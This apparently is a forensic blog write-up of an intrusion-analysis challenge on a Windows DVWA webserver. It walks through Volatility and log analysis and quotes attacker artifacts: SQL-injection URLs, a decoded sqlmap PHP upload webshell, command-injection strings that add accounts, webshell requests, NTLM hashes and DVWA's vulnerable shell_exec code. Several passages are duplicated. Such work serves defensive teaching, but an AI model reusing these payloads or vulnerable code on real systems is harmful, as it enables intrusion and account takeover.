As @hiddenillusion taught me, "sharing is caring". Hopefully my analysis will help others who are interested in forensics and are interested in deep dive analysis. I also remember a tweet from him regarding doing forensics "dongle free" which rang true for this exercise. Finally, my friend @wesleyriley always reminds me that we (analysts) do blogs as they are great reference materials for ourselves!
I want to provide a technical walk through of how one could do analysis for this intrusion scenario. Each question that has an analytical component has some or all of the technical steps I used to arrive at my finding listed first. Summary answers are listed at the end of the question.
The challenge specifies that we all work should be done with open source tools. I used several during my analysis.
- Volatility 2.4 - http://www.volatilityfoundation.org/#!24/c12wa
- Volatility 2.5 is out, download and use it when you try this challenge on your own. It can be downloaded here - http://www.volatilityfoundation.org/#!25/c1f29
- Sift 3.0 - SANS has grouped an awesome amount of tools in once place, and made everything super easy to install. I went the VM route and created a SIFT VM based on their instructions:
- Download Ubuntu 14.04 ISO file and install Ubuntu 14.04 on any system. -> http://www.ubuntu.com/download/desktop
- Once installed, open a terminal and run "wget --quiet -O - https://raw.github.com/sans-dfir/sift-bootstrap/master/bootstrap.sh | sudo bash -s -- -i -s -y"
Question 1: What type of attacks has been performed on the box?
Luckily for us we have a couple threads to pull on. The first being that we have a compromised webserver. The second is that the some of the questions hint at an attacker adding account(s) and tools to the victim webserver.My approach was to dive into memory analysis and try to answer as much as I could there first. I've mentioned publicly before in my presentation Memory Forensics for IR - Leveraging Volatility to Hunt Advanced Actors that there is a wealth of information to be found in memory. Intrusion investigations greatly benefit from memory analysis due to the amount of artifacts that attackers leave behind. In some cases, there are artifacts that can only be found in memory. Some examples include malware and malware based artifacts (malicious code, configuration data) and Windows registry data like Shimcache.
After confirming my memory image hash matched what was provided by our client, I first focused on question 2. If there are user accounts added to a machine, memory is a great starting point. Let's see what type of webserver we're tackling. I used Volatility here to fingerprint the OS.
gmucfrs$ vol.py -f memdump.mem imageinfo
Determining profile based on KDBG search...
Suggested Profile(s) : VistaSP1x86, Win2008SP1x86, Win2008SP2x86, VistaSP2x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem)
PAE type : PAE
DTB : 0x122000L
KDBG : 0x81716c90
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x81717800
KUSER_SHARED_DATA : 0xffdf0000
Image date and time : 2015-09-03 10:04:05 UTC+0000
Image local date and time : 2015-09-03 03:04:05 -0700
gmucfrs$ vol.py -f memdump.mem kdbgscan
Volatility Foundation Volatility Framework 2.4
**************************************************
Instantiating KDBG using: /mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem WinXPSP2x86 (5.1.0 32bit)
Offset (P) : 0x1716c90
KDBG owner tag check : True
Profile suggestion (KDBGHeader): Win2008SP1x86
Version64 : 0x1716c68 (Major: 15, Minor: 6001)
PsActiveProcessHead : 0x8172c990
PsLoadedModuleList : 0x81736c70
KernelBase : 0x8161f000
<snip>
The Win2008SP1x86 looked like a good starting point and ended up being correct. I later pulled the SYSTEM registry hive and confirmed this was a Windows Server 2008 with Service Pack 1.
One other thing I always try to do is understand the time frame the system was up and running for which my memory image was taken for. To do this I compare the Windows SYSTEM hive's key: "ControlSet001\Control\Windows" which gives me the systems last shutdown time against the image time pulled from Volatility's imageinfo command (above). Volatility has added a new plugin in version 2.5 to pull this key's last update time called "shutdowntime" which makes life easier.
Output from Volatility's imageinfo command against the image (full output above):
Image date and time : 2015-09-03 10:04:05 UTC+0000
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 printkey -K "ControlSet001\Control\Windows"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: Windows (S)
Last updated: 2015-08-24 07:14:20 UTC+0000
After comparing the two, we know we have a memory sample which encompasses ~10 days of up-time, which is a great thing as we aren't always as lucky to have memory from a system that has been up and running for so long.
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: Windows (S)
Last updated: 2015-08-24 07:14:20 UTC+0000
After comparing the two, we know we have a memory sample which encompasses ~10 days of up-time, which is a great thing as we aren't always as lucky to have memory from a system that has been up and running for so long.
Next I pulled the network connections and looked for anything of interest
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 netscan
Below is truncated listing of network connections. Highlights include established and closed connections with the IP address 192.168.56.1 over port 5357 and closed/residual connections with the same IP. The process httpd.exe tells us we have an Apache webserver running and we also have a MYSQL server running/listening through the mysqld.exe.
Network Connections of Interest |
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 memdump -p 1108 -D ./1108proc
Volatility Foundation Volatility Framework 2.4
Writing svchost.exe [ 1108] to 1108.dmp
gmucfrs$ strings -a 1108.dmp > 1108strings.txt (creates ASCII stings for the 1108.dmp file)
gmucfrs$ strings -a -el 1108.dmp >> 1108strings.txt (creates & appends UNICDOE strings to the strings file)
After reviewing the process strings I saw several things of interest: There were many strings for DVWA with URL path's for SQLi, XSS and other vulnerability folders. DVWA, or damn vulnerable web application (http://www.dvwa.co.uk/) is an vulnerable webserver/application that is used for practicing the process of securing web servers and related web applications.
Some strings of interest related to SQLi and URL encoded commands:
- Damn Vulnerable Web Application (DVWA) v1.8
- Referer: http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
- Referer: http://192.168.56.101/dvwa/setup.php act=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=dir&cmd_txt=1&submit=Execute
- Referer: http://192.168.56.101/dvwa/c99.php?act=cmdact=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=netstat+-an&cmd_txt=1&submit=Execute
- /dvwa/vulnerabilities/sqli/?id=2%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a717871%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7170706271%29--%20&Submit=Submit HTTP/1.1
I figured I could go back to our Apache "access.log" log file and start working the disk side of the house. First I needed to mount our raw (.DD) disk image, but needed to understand the drive details. Specifically our starting sector and our sector size with The Sleuth Kit ver 4.1.3's MMLS, which is baked into our Sift installation. We could also use our native Linux fdisk to find out this information with this command: fdisk -l s4a-challenge4
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Desc Slot Start End Length Size
00: Meta 0000000000 0000000000 0000000001 0512B PrimaryTable(#0)
01: ----- 0000000000 0000002047 0000002048 1024K Unallocated
02: 00:00 0000002048 0052426751 0052424704 0024G NTFS (0x07)
03: ----- 0052426752 0052428799 0000002048 1024K Unallocated
We can see that we have multiple partitions, 02 is NTFS and is ~24 gigabytes in size. The starting sector is 2048, our sectors are 512 bytes in size. We need to multiply the starting sector by the sector size to get the offset needed to mount the NTFS partition.
gmucfrs$ mount -t ntfs-3g -o loop,ro,nodev,noatime,show_sys_files,streams_interface=windows,offset=1048576 s4a-challenge4 /home/gmucfrs/Desktop/mount_points/windows_mount
The drive was mounted successfully. We confirmed this by using the native Linux df command.
gmucfrs$ df -h
/dev/loop0 25G 8.0G 18G 32% /mnt/windows_mount
Next I kicked off a timeline with log2timeline.py. I did a sudo su before hand to elevate privileges.
gmucfrs$ log2timeline.py ./timeline/timeline.body s4a-challenge4
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# mkdir timeline
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# log2timeline.py ./timeline/timeline.body s4a-challenge4
[INFO] Data files will be loaded from /usr/share/plaso by default.
Source path : /mnt/hgfs/Challenges/binaryzone_9-16-15/host image/s4a-challenge4
Processing started.
2015-11-25 15:25:17,660 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: sysregistry to /Windows/System32/config
2015-11-25 15:25:19,351 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: osversion to Windows Server (R) 2008 Standard
<SNIP>
Now I processed the body file into a CSV:
gmucfrs$ psort.py -o l2tcsv -w timeline.csv timeline.body
[INFO] Data files will be loaded from /usr/share/plaso by default.
[INFO] Output processing is done.
*********************************** Counter ************************************
Stored Events : 705295
Events Included : 705249
Duplicate Removals : 319492
Q1 answers: What type of attacks has been performed on the box?
(more detail provided later on this)
A webshell that provided a Windows reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
The Apache access.log log file shows successful SQL Injection activity from the attackers IP address of 192.168.56.102.
(more detail provided later on this)
Question 2: How many users has the attacker(s) added to the box, and how were they added?
While the timeline was processing, I pivoted to question 2 - "How many users has the attacker(s) added to the box, and how were they added?" Since we had memory, I wanted to see what attacker activity might exist related to command history, which could lead to account creation. The Volatility plugin "consoles" immediately came to mind as this can provide Windows command shell activity by enumerating the console information that lives in csrss.exe processes (in our sample csrss.exe PID's 484 and 524) while also scraping the screen buffer detail from the cmd.exe console itself.
All of this is outlined in great detail the Volatility team's awesome book "The Art of Memory Forensics". I simply cannot recommend this incredible resource enough.
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 psscan | grep csrss
Volatility Foundation Volatility Framework 2.4
0x000000003f512208 csrss.exe 484 472 0x3f4a7060 2015-08-23 20:27:22 UTC+0000 0x000000003f52d530 csrss.exe 524 516 0x3f4a70a0 2015-08-23 20:27:28 UTC+0000
This was one of the most fruitful pivots during my investigation here - a goldmine of command line activity was found. I'll give an abbreviated output which relates to Q2 and the user account additions.
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 consoles
----
CommandHistory: 0x5a24708 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 17 LastAdded: 16 LastDisplayed: 16
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d8
Cmd #0 at 0xe907c8: ipconfig
Cmd #1 at 0xe91af8: cls
Cmd #2 at 0xe91db0: ipconfig
Cmd #3 at 0x5a34bd0: net user user1 user1 /add
Cmd #4 at 0x5a34eb8: net user user1 root@psut /add
Cmd #5 at 0x5a34c10: net user user1 Root@psut /add
Cmd #6 at 0x5a24800: cls
Cmd #7 at 0x5a34c58: net /?
Cmd #8 at 0x5a34d88: net localgroup /?
Cmd #9 at 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add
C:\Users\Administrator>net localgroup "Remote Desktop Users" user1 /add
The command completed successfully.
Where possible it's helpful to duplicate our analysis with other tools or techniques. Since the csrss.exe PID's are 484 and 524, we can leverage Volatility's yarascan plugin to scan process memory against these:
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 yarascan -p 524 --wide --yara-rules="user1"
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 yarascan -p 524 --wide --yara-rules="user1"
Volatility Foundation Volatility Framework 2.4
Rule: r1
Owner: Process csrss.exe Pid 5240x05a196ba 75 00 73 00 65 00 72 00 31 00 20 00 2f 00 61 00 u.s.e.r.1.../.a.
0x05a196ca 64 00 64 00 20 00 20 00 20 00 20 00 20 00 20 00 d.d.............
0x05a196da 20 00 20 00 20 00 54 00 68 00 65 00 20 00 63 00 ......T.h.e...c.
0x05a196ea 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 63 00 o.m.m.a.n.d...c.
0x05a196fa 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
0x05a1970a 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 ..s.u.c.c.e.s.s.
0x05a1971a 66 00 75 00 6c 00 6c 00 79 00 2e 00 20 00 20 00 f.u.l.l.y.......
We can see a success for the account creation for the user "user1".
Going back through our strings of PID 1108 there's an entry for web activity that appears to have caught account creation activity for an account "hacker" from what appears to be the IP 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: security=low; PHPSESSID=14fe301rno6vq8tsiicedeua01
Connection: keep-alive
gma: no-cache
Cache-Control: no-cache,no-store
: close
Pragma: no-cache
Cache-Control: no-cache,no-store
Content-Length: 94
ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
After URL un-encoding we have:
ip=192.168.56.102+&&+net+localgroup+"Remote+Desktop+Users"+hacker+/add&submit=submit$
We also have another string in the 1108 process that appear to have caught the addition of the account too through a net user command:
6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
The Apache process (PID 2880) also had strings of activity related to the addition of the hacker account, and the addition of that account to the local group "Remote Desktop Users":
Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
net user hacker /add
"ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$"
net localgroup Remote Desktop Users hacker /add
Unfortunately consoles and yarascan didn't pick up the hacker account creation like it did for the "user1" account. The attacker may have created it in another fashion. Let's use Volatility to dump the Windows account hashes and see what shakes out.
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 hashdump
Volatility Foundation Volatility Framework 2.4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:63d6a39b8467b94ae92ab1931d4079dd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:1005:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::
hacker:1006:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::
Since I wanted to have some timeline information about use account creations I used RegRipper to parse the Windows SAM registry hive (C:\windows\system32\config/SAM). RegRipper is a fantastic tool for parsing the registry that is leveraged from the CLI or from a Windows GUI. The SIFT 3.0 workstation has it baked in. I found where it was located - "locate rip.pl" and navigated to "/usr/local/bin" for execution.
gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam
Username : user1 [1005]
Full Name :
User Comment :
Account Type : Custom Limited Acct
Account Created : Wed Sep 2 09:05:06 2015 Z
Last Login Date : Never
Pwd Reset Date : Wed Sep 2 09:05:06 2015 Z
Pwd Fail Date : Never
Login Count : 0
--> Normal user account
Username : hacker [1006]
Full Name :
User Comment :
Account Type : Custom Limited Acct
Account Created : Wed Sep 2 09:05:25 2015 Z
Last Login Date : Never
Pwd Reset Date : Wed Sep 2 09:05:25 2015 Z
Pwd Fail Date : Never
Login Count : 0
--> Normal user account
These user's match up to what we found when we ran through Volatility's hashdump plugin. We also see the successful addition of both accounts to the Group "Remote Desktop Users". This corroborates the user account activity we saw and can likely be tied back to webshell or a reverse shell.
LastWrite : Wed Sep 2 09:19:24 2015 Z
Group Comment : Members in this group are granted the right to logon remotely
Users :
S-1-5-21-3848053756-3249532031-1848221756-1005
S-1-5-21-3848053756-3249532031-1848221756-1006
Q2 answers: How many users has the attacker(s) added to the box, and how were they added?
Two new user account were added to the victim webserver by the attacker - "user1" and "hacker". Both were added via net user commands which were issued via a Windows reverse command shell.
Two new user account were added to the victim webserver by the attacker - "user1" and "hacker". Both were added via net user commands which were issued via a Windows reverse command shell.
Question3: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks).
To answer this question I wanted to firm up some of the findings from memory analysis. Specifically, I wanted to look more into the disk aspect of the investigation. Since we knew that there was an Apache server running a great place to start is the "access.log" log file. After mounting our evidence I was able to run the locate file to find it:gmucfrs$ locate access.log
/mnt/windows_mount/xampp/apache/logs/access.log
Since we were told that we got there while the attacker was recently active I started at the end of the log file and worked towards the beginning. I ran into successful SQL injection on Sep1 2015 10:04 PM (GMT).
192.168.56.102 - - [02/Sep/2015:04:25:52 -0700] "GET /dvwa/vulnerabilities/sqli/?id=2%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fxampp%2Fhtdocs%2Ftmpukudk.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20&Submit=Submit HTTP/1.1" 200 4893 "-" "sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)"
The decoded hex showed a successful upload of the webshell "tmpudvfh.php" with the tool SQLMAP.
GET
/dvwa/vulnerabilities/sqli/?id=2' LIMIT 0,1 INTO OUTFILE
'/xampp/htdocs/tmpudvfh.php' LINES TERMINATED BY <?php if
(isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if
(phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file)
or
die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file)
or die();}@chmod($dir."/".$file,0755);echo "File
uploaded";}else {echo "<form
action=".$_SERVER["PHP_SELF"]." method=POST
enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE
value=1000000000><b>sqlmap file uploader</b><br><input
name=file type=file><br>to directory: <input type=text
name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload
value=upload></form>";}?> &Submit=Submit
LastVisitedPidlMRU
LastWrite: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
wordpad.exe - My Computer\C:\xampp\htdocs\DVWA
OpenSavePidlMRU
LastWrite: Thu Sep 3 07:20:37 2015
OpenSavePidlMRU\*
LastWrite Time: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
My Computer\C:\xampp\htdocs\DVWA\c99.php
OpenSavePidlMRU\php
LastWrite Time: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
My Computer\C:\xampp\htdocs\DVWA\c99.php
OpenSavePidlMRU\rtf
LastWrite Time: Thu Sep 3 07:20:33 2015
Note: All value names are listed in MRUListEx order.
LastWrite: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
wordpad.exe - My Computer\C:\xampp\htdocs\DVWA
OpenSavePidlMRU
LastWrite: Thu Sep 3 07:20:37 2015
OpenSavePidlMRU\*
LastWrite Time: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
My Computer\C:\xampp\htdocs\DVWA\c99.php
OpenSavePidlMRU\php
LastWrite Time: Thu Sep 3 07:20:37 2015
Note: All value names are listed in MRUListEx order.
My Computer\C:\xampp\htdocs\DVWA\c99.php
OpenSavePidlMRU\rtf
LastWrite Time: Thu Sep 3 07:20:33 2015
Note: All value names are listed in MRUListEx order.
I decided to take a quick look at the webshell itself. It was quite large and appeared to have a bunch of expected webshell functionality. Walking through the timeline csv from I also was able to deduce that the attacker added "Owned by Hacker" using wordpad on September 3 2015 07:20 PM (UTC). This came from the above NTUSER.dat parsing and reviewing the last modified time of c99.php along with the other most recently used (MRU) registry artifacts.
the attacker added text to c99.php |
Since we knew that the administrator account was a main pivot point of the attacker, I pivoted over to parse the SAM hive:
gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam
Walking my timeline output CSV file I also found that the attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on 9/2/15 at 9:32 AM UTC. Long entries were verified in the Apache access.log file. HTTP POST requests here are likely when then the .102 attacker is writing data to the victim's filesystem using an "exec" or execution vulnerability.
192.168.56.102 - - [02/Sep/2015:02:32:03 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5207 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:32:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5746 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:33:00 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5794 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:33:23 -0700] "GET /dvwa/vulnerabilities/fi/?page=../../../../../../users/administrator/data.txt HTTP/1.1" 200 3641 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:32:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5746 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:33:00 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5794 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:33:23 -0700] "GET /dvwa/vulnerabilities/fi/?page=../../../../../../users/administrator/data.txt HTTP/1.1" 200 3641 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
In attempts to confirm my suspicious navigated to "/xampp/htdocs/DVWA/vulnerabilities/exec" seen below:
/xampp/htdocs/DVWA/vulnerabilities/exec folder |
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] .= $page[ 'title_separator' ].'Vulnerability: Brute Force';
$page[ 'page_id' ] = 'exec';
dvwaDatabaseConnect();
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
default:
$vulnerabilityFile = 'high.php';
break;
}
require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}";
$page[ 'help_button' ] = 'exec';
$page[ 'source_button' ] = 'exec';
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: Command Execution</h1>
<div class=\"vulnerable_code_area\">
<h2>Ping for FREE</h2>
<p>Enter an IP address below:</p>
<form name=\"ping\" action=\"#\" method=\"post\">
<input type=\"text\" name=\"ip\" size=\"30\">
<input type=\"submit\" value=\"submit\" name=\"submit\">
</form>
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] .= $page[ 'title_separator' ].'Vulnerability: Brute Force';
$page[ 'page_id' ] = 'exec';
dvwaDatabaseConnect();
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
default:
$vulnerabilityFile = 'high.php';
break;
}
require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}";
$page[ 'help_button' ] = 'exec';
$page[ 'source_button' ] = 'exec';
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: Command Execution</h1>
<div class=\"vulnerable_code_area\">
<h2>Ping for FREE</h2>
<p>Enter an IP address below:</p>
<form name=\"ping\" action=\"#\" method=\"post\">
<input type=\"text\" name=\"ip\" size=\"30\">
<input type=\"submit\" value=\"submit\" name=\"submit\">
</form>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
else {
$html .= '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
?>
Additionally the Apache Access log revealed successfully attacker command line interaction from 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT), as seen below:
192.168.56.102 - - [03/Sep/2015:00:16:13 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 419 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:17:49 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir%20C:\\ HTTP/1.1" 200 1934 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:17:58 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=mkdir%20abc HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:18:02 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:17:49 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir%20C:\\ HTTP/1.1" 200 1934 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:17:58 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=mkdir%20abc HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [03/Sep/2015:00:18:02 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
Commands Issued (above):
dir
dir C:\
mkdir abc
dir
